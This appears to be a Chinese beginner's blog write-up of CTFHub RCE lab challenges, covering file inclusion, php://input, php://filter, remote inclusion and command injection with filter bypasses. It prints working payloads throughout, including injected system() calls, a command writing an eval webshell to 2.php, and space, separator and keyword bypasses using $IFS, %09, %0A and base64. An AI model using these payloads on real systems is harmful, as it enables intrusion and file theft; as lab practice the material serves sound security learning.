初识CTF Day3 CTFHUBRCE

前言
今天就开始RCE的探索了
0

RCE

文件包含

这里eval执行在昨天晚上做过了,所以就不说了,开始文件包含这题
这个题目他给了一个include()函数,他还给了一个写有一句话木马的txt文件
1这段代码的大致意思就是,你把哪个我给你的shell.txt文件放到里面去啦
然后照着做就可以了
所以payload就是 ?file=shell.txt
这里直接连接中国蚁剑,密码为ctfhub(可在shell.txt里看到密码)
2
flag在根目录下,本题结束

php://input

身为一个小白,看到这个题目我是不会的,然后上网找资料,好像是把post获取不到的东西获取到
???
看不太懂
然后花了10个金币看了下wp,这里貌似是抓了个包,在数据包下面写上了指令
我也试一下 <?php phpinfo(); ?>
3他出现了
这时赶紧使用其他的命令试试 <?php system("ls /") ?>
4
看到了flag文件,稍微康康 <?php system("cat /flag_1596") ?>

5成功得到flag,本题结束
但是还是不太明白原理,只知道它可以进行数据的传递
post可以,试下get。。。啥也没有
那么大致了解了这个php://input,它就是可以将post传入的数据获取并执行
参考官方的wp,这个也不是万能的,因为需要满足条件allow_url_include为on
所以题目中给出了phpinfo()的信息
学到了,感谢wp

读取源代码

这题根据他的位置和上一题wp的提示,可知这个可能就是另一种那个file什么的那个东西
但是。。还是不会,就又看了wp的解释,说里面有参数为resource后面跟的才是指令
6
上一题大致理解为post传参,这题就是get传参
所以构造payload(又因为题目直接给出了flag的位置)
7这里就直接拿出payload
/?file=php://filter/resource=/flag

8题目结束
笔记:

名称条件用法
php://inputallow_url_include为onfile=php://input,数据包下面post以PHP格式传入指令
php://filter/resourceresource=文件file=php://filter/resource=文件

远程包含

看起来和input那道题很像所以使用一样的方法,先看下条件是否满足
9条件满足,下一步抓包
10再下一步读取flag
11成功读取到flag
但是,这道题和input一样的话官方就没必要出了,所以看了下wp果然还有其他解法
但是我发现根本没有服务器,所以就没搞

命令注入

这一题里面出现了exec()函数,这个函数是可以将其中的内容当作系统命令执行的
12所以构造测试的payload
?ip=127.0.0.1 | ipconfig
发现没有成功
试一下 ip a
?ip=127.0.0.1 | ip a
13成功
下一步ls / ,发现没有flag
那就看一下所在目录ls -l
发现了一个可疑的PHP文件
14看一下该文件发现并没有回显,看网页源代码发现flag
15提交成功,下一题

过滤cat

16看到源码,里面有preg_match_all()这个函数,这个函数的作用就是把第一参数的正则表达式运用到第二参数中进行过滤,然后把结果放到第三参数里
对于这道题,也就是说ip内容若是有cat,那m就为ip,返回值为1,那么前面的否定就会生效,就不会执行if里的语句,直接到了else,所以是过滤了cat

首先看下目录**?ip=127.0.0.1 | ls -l**
18里面有疑似flag的文件,现在想查看他的内容肯定是不能使用cat这个指令了
那么现在上传木马
(搜索了下网上的wp,上传木马死活没上传成功,一直都是那两个文件)
经过了几次测试得到下面的payload是真的可以上传并连接成功
?ip=127.0.0.1 | echo -e “<?php eval(\$_REQUEST[8]);?>” >2.php
17这里的-e是启用\的转义功能,那个\说实话我也不知道是什么作用,但是没有它就是不能连接成功,因为连接时返回值为空,如果有知道\是什么意思的大佬,可以评论区留言或者私信我都可以,同时会在该文中进行说明,还有网上的wp使用的符号不是|而是&,但是我使用&是执行不了命令的,奇奇怪怪。。。
附上我测试的文件
18提交成功,下一题

过滤空格

这一题说让绕过空格,我就去网上搜了一下,我受益匪浅,学到了学到了
绕过空格的几种姿势(下面来自于wp)

<<>%20(space)%09(tab)、\$IFS\$9、 \${IFS}$IFS

首先看一下flag在哪里 ?ip=127.0.0.1|ls
找到flag后进行读取 ?ip=127.0.0.1|cat<flag_19248278426250.php
查看源代码得到flag
19

过滤目录分隔符

首先看一下flag在哪里 ?ip=127.0.0.1|ls
20
貌似是一个目录
查看一下该目录
?ip=127.0.0.1|ls flag_is_here
发现flag在目录里面,总算知道为啥过滤目录分隔符了
21
上网上找,呃,什么都有,还是直接看wp最快
22这个题目还是有点奇葩的,前面的都不需要url编码就他要用,不然做不出来的
原payload:?ip=;cd flag_is_here&&cat flag_236035076495.php
编码后:?ip=%3Bcd flag_is_here%26%26cat flag_236035076495.php
查看源代码得到flag
23

过滤运算符

看目录 ?ip=;ls
24
看文件(因去掉了运算符,所以使用;代替)
?ip=;cat flag_41192768231776.php

综合过滤练习

这里看源码就看出这里非常丧心病狂基本都过滤了
但是经过之前的几题这道题也已经不是问题了doge
25%0A代替;也就是换行
?ip=%0Als

$IFS代替空格,%09代替TAB键,用来补全flag

?ip=%0Als%0Acd$IFS%09*_is_here%0Als

26
找到flag文件了,接下来就是读取,可以利用base64编码绕过

?ip=%0Als%0Acd$IFS%09*_is_here%0Abase64$IFS%09*_24135173615424.php
27拿去解码
28
得到flag

(此处参考了大佬的博客,感谢感谢)
https://www.cnblogs.com/0yst3r-2046/p/12617703.html

结束

写在最后
淦早饭。。。下午茶啦,下次见

后话
因为ssrf部分我卡住了。。。所以ctf部分会鸽一段时间,待我研究明白再见了

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值